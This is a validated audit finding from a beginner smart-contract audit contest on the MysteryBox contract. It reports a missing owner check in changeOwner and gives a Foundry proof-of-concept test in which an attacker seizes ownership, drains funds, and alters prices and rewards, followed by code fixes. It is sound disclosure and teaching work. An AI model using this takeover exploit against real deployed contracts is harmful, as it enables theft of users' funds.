Mystery Box
First Flight #25
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Lack of access control in `MysteryBox::changeOwner` that allows unauthorized ownership transfer, leading to complete contract takeover and fund theft

Hoover

Summary

The MysteryBox.sol contract contains a critical access control vulnerability in the MysteryBox::changeOwner function. This vulnerability allows any user to become the owner of the contract, granting them unrestricted access to sensitive functions such as withdrawing funds, setting box prices, and adding rewards.

Vulnerability Details

Affected code - https://github.com/Cyfrin/2024-09-mystery-box/blob/281a3e35761a171ba134e574473565a1afb56b68/src/MysteryBox.sol#L111-L112

The vulnerability stems from the MysteryBox::changeOwner function lacking proper access control:

@> function changeOwner(address _newOwner) public {
owner = _newOwner;
}

This function allows any address to call it and change the owner of the contract. As a result, an attacker can easily take control of the contract by calling this function.

PoC

  1. An attacker calls the changeOwner function to become the new owner of the contract.

  2. The attacker, now the owner, withdraws all funds from the contract.

  3. The attacker changes the box price to a new value.

  4. The attacker adds a new reward to the reward pool.

function testAccessControlVulnerability() public {
// 1. Change owner
console.log("Old Owner:", mysteryBox.owner());
vm.prank(attacker);
mysteryBox.changeOwner(attacker);
assertEq(mysteryBox.owner(), attacker);
console.log("New Owner:", mysteryBox.owner());
​
// 2. Withdraw funds
vm.deal(address(mysteryBox), 1 ether);
uint256 initialAttackerBalance = attacker.balance;
console.log("Attacker Balance Before Withdraw:", initialAttackerBalance);
vm.prank(attacker);
mysteryBox.withdrawFunds();
uint256 finalAttackerBalance = attacker.balance;
console.log("Attacker Balance After Withdraw:", finalAttackerBalance);
assertGt(finalAttackerBalance, initialAttackerBalance, "Attacker should be able to withdraw funds");
​
// 3. Set box price
uint256 initialBoxPrice = mysteryBox.boxPrice();
console.log("Box Price Before Change:", initialBoxPrice);
uint256 newPrice = 0.2 ether;
vm.prank(attacker);
mysteryBox.setBoxPrice(newPrice);
uint256 finalBoxPrice = mysteryBox.boxPrice();
console.log("Box Price After Change:", finalBoxPrice);
assertEq(finalBoxPrice, newPrice, "Attacker should be able to set box price");
​
// 4. Add reward
string memory rewardName = "Attacker Coin";
uint256 rewardValue = 1337 wei;
vm.prank(attacker);
mysteryBox.addReward(rewardName, rewardValue);
​
MysteryBox.Reward[] memory rewardPool = mysteryBox.getRewardPool();
console.log("Rewards Available:");
for (uint256 i = 0; i < rewardPool.length; i++) {
console.log("Reward Name:", rewardPool[i].name, "Reward Value:", rewardPool[i].value);
}
​
bool rewardFound = false;
for (uint256 i = 0; i < rewardPool.length; i++) {
if (keccak256(abi.encodePacked(rewardPool[i].name)) == keccak256(abi.encodePacked(rewardName)) && rewardPool[i].value == rewardValue) {
rewardFound = true;
break;
}
}
assertTrue(rewardFound, "Attacker should be able to add a new reward");
}

This PoC demonstrates that an attacker can:

  1. Take ownership of the contract

  2. Withdraw all funds from the contract

  3. Change the box price at will

  4. Add new rewards to the reward pool

The console output shows the changes made by the attacker:

Old Owner: 0x7c8999dC9a822c1f0Df42023113EDB4FDd543266
New Owner: 0x0000000000000000000000000000000000000003
Attacker Balance Before Withdraw: 0
Attacker Balance After Withdraw: 1000000000000000000
Box Price Before Change: 100000000000000000
Box Price After Change: 200000000000000000
Rewards Available:
Reward Name: Gold Coin Reward Value: 500000000000000000
Reward Name: Silver Coin Reward Value: 250000000000000000
Reward Name: Bronze Coin Reward Value: 100000000000000000
Reward Name: Coal Reward Value: 0
Reward Name: Attacker Coin Reward Value: 1337

These actions should only be possible for the legitimate owner of the contract, highlighting the severity of the access control vulnerability.

Impact

The lack of access control in the MysteryBox::changeOwner function presents a critical vulnerability that can lead to catastrophic consequences for the contract and its users:

  1. Complete Contract Takeover: An attacker can easily become the owner of the contract, granting them unrestricted access to all owner-only functions. This allows them to manipulate the contract's core functionality at will.

  2. Fund Theft: As the new owner, the attacker can withdraw all funds stored in the contract using the withdrawFunds function. This could result in significant financial losses for the original owner and users who have invested in mystery boxes.

  3. Price Manipulation: The attacker can arbitrarily change the box price using the MysteryBox::setBoxPrice function. This could be exploited to:

    • Set extremely low prices to drain the contract's rewards quickly

    • Set unreasonably high prices to prevent legitimate users from participating

  4. Reward Pool Corruption: With the ability to add new rewards via the addReward function, an attacker could:

    • Introduce worthless rewards

    • Oversaturate the reward pool with low-value items, reducing the chances of users receiving valuable rewards

  5. Loss of User Trust: Once users discover that the contract has been compromised, it will likely lead to a complete loss of trust in the platform, potentially causing irreparable damage to the project's reputation.

  6. Disruption of Game Economics: For gaming or NFT projects utilizing this contract, the ability to manipulate prices and rewards could severely disrupt the in-game economy and user experience.

The severity of this vulnerability cannot be overstated. It essentially provides a "master key" to the entire contract, allowing an attacker to completely subvert its intended functionality and potentially cause significant financial and reputational damage to the project and its users.

Tools Used

Manual Review and Foundry Test

Recommendations

Implement proper access control on the MysteryBox::changeOwner function with custom revert errors:

-contract MysteryBox {
- // ... other contract code ...
- function changeOwner(address _newOwner) public {
- owner = _newOwner;
- }
-}
+contract MysteryBox {
+ error MysteryBox__NotOwner();
+ // ... other contract code ...
+ function changeOwner(address _newOwner) public {
+ if (msg.sender != owner) {
+ revert MysteryBox__NotOwner();
+ }
+ owner = _newOwner;
+ }
+}

Or consider using OpenZeppelin's Ownable contract to handle ownership-related functionality securely:

import "@openzeppelin/contracts/access/Ownable.sol";
​
contract MysteryBox is Ownable {
// ... other contract code ...
​
function changeOwner(address _newOwner) public onlyOwner {
transferOwnership(_newOwner);
}
}

Add access control to other sensitive functions like MysteryBox::withdrawFunds, MysteryBox::setBoxPrice, and MysteryBox::addReward using the onlyOwner modifier.

When implementing an Ownable contract consider adding a time-lock mechanism for ownership transfers to provide an additional layer of security.

By implementing these recommendations, the security of the MysteryBox contract can be significantly improved, preventing unauthorized access and protecting both the contract and its users from potential attacks.

Updates

Appeal created

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Anyone can change owner

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!